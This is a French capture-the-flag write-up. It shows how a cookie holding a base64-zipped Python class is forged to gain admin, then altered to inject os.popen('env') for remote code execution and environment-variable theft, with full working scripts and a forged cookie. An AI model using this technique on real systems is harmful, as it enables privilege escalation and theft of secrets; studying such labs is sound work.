Co(mpressed)okies

Flag: CYBN{Wh4t_4_w31rd_w4y_t0_st0r3_d4t4}

Challenge

Description


J'ai entendu dire que sérialiser ses objets et les renvoyer au client pouvait être dangereux. Du coup, je suis en train d'expérimenter une nouvelle façon de stocker des données !

J'ai tellement confiance en ce système que je me suis permis de cacher une partie du flag directement sur la machine 😎

Solution

Etape 1 - Connexion à l'admin

On commence par créer un compte et s'enregistrer, puis on se connecte. Ensuite, on peut récupérer notre cookie :

Sur CyberChef, on peut voir que c'est un fichier zip qui est encodé en base64 :

Le fichier à l'intérieur est user.py et ressemble à ça :

import base64
import io
import typing


class User:
    _default_nickname: str = 'ThaySan'
    _default_first_name: str = 'Thay'
    _default_last_name: str = 'San'
    _default_role: typing.Literal["user", "admin"] = 'user'

    def __init__(
        self,
        nickname: str | None = None,
        first_name: str | None = None,
        last_name: str | None = None,
        role: typing.Literal["user", "admin"] | None = None,
    ) -> None:
        self.nickname = nickname or self._default_nickname
        self.first_name = first_name or self._default_first_name
        self.last_name = last_name or self._default_last_name
        self.role = role or self._default_role

Il faut changer la valeur user en admin à la ligne 10. En python ça donne :

from base64 import b64decode, b64encode
from zipfile import ZipFile, ZIP_DEFLATED
from io import BytesIO

user_py = '''import base64
import io
import typing


class User:
    _default_nickname: str = 'ThaySan'
    _default_first_name: str = 'Thay'
    _default_last_name: str = 'San'
    _default_role: typing.Literal["user", "admin"] = 'admin'

    def __init__(
        self,
        nickname: str | None = None,
        first_name: str | None = None,
        last_name: str | None = None,
        role: typing.Literal["user", "admin"] | None = None,
    ) -> None:
        self.nickname = nickname or self._default_nickname
        self.first_name = first_name or self._default_first_name
        self.last_name = last_name or self._default_last_name
        self.role = role or self._default_role'''

buffer = BytesIO()
with ZipFile(buffer, 'w', ZIP_DEFLATED) as zip_file:
  zip_file.writestr('user.py', user_py)
buffer.seek(0)

print(b64encode(buffer.read()).decode())
UEsDBBQAAAAIAAV1d1lrdpCx6QAAAKkCAAAHAAAAdXNlci5weY2Rz24CIRDG7zzFZC+rifVkPGxin6DxYj2ZhqCy7UQWDODBpA\vwMZdAU3kwvz5fgMfYHc21sNeOLlcMOwzNPfIX8+ofxljByWcg62TtmFAix9lKy7Kc42HkxadbMB5Cyuov\EdSN0ncpatI7EuTBT0SGZqJxkjaJ2f7H5F3pphdpVF7pZNYNKHDvU1U9AY1izSBMMnKNGz\kkVsJyUrWzIUud\MPaaElzwjaKch8vZJmRF6r3rDyBp\DxGdMm8TK\WyDxEBrb94ofS9HRGMEPSYGPvXTAYJn4MS7woZXS4SkIjFvBhOoNUEsBAhQAFAAAAAgABXV3WWt2kLHpAAAAqQIAAAcAAAAAAAAAAAAAAIABAAAAAHVzZXIucHlQSwUGAAAAAAEAAQA1AAAADgEAAAAA

On met ce cookie dans notre navigateur et on va sur la page Administration :

Etape 2 - Remote Code Execution

Sur la page d'Administration, on a le code du serveur. En le décortiquant, on comprend que le fichier user.py doit faire 22 lignes et que l'on peut modifier uniquement les lignes 7 à 10 (si on commence à compter à 1).

On peut alors injection dans la ligne du nickname pour obtenir le résultat de notre commande. Pour obtenir le flag, il faut lister les variables d'environnement.

from base64 import b64decode, b64encode
from zipfile import ZipFile, ZIP_DEFLATED
from io import BytesIO

user_py = '''import base64
import io
import typing


class User:
    _default_nickname: str = __import__('os').popen('env').read()
    _default_first_name: str = 'Thay'
    _default_last_name: str = 'San'
    _default_role: typing.Literal["user", "admin"] = 'admin'

    def __init__(
        self,
        nickname: str | None = None,
        first_name: str | None = None,
        last_name: str | None = None,
        role: typing.Literal["user", "admin"] | None = None,
    ) -> None:
        self.nickname = nickname or self._default_nickname
        self.first_name = first_name or self._default_first_name
        self.last_name = last_name or self._default_last_name
        self.role = role or self._default_role'''

buffer = BytesIO()
with ZipFile(buffer, 'w', ZIP_DEFLATED) as zip_file:
  zip_file.writestr('user.py', user_py)
buffer.seek(0)

print(b64encode(buffer.read()).decode())

Dernière mise à jour

Cet article vous a-t-il été utile ?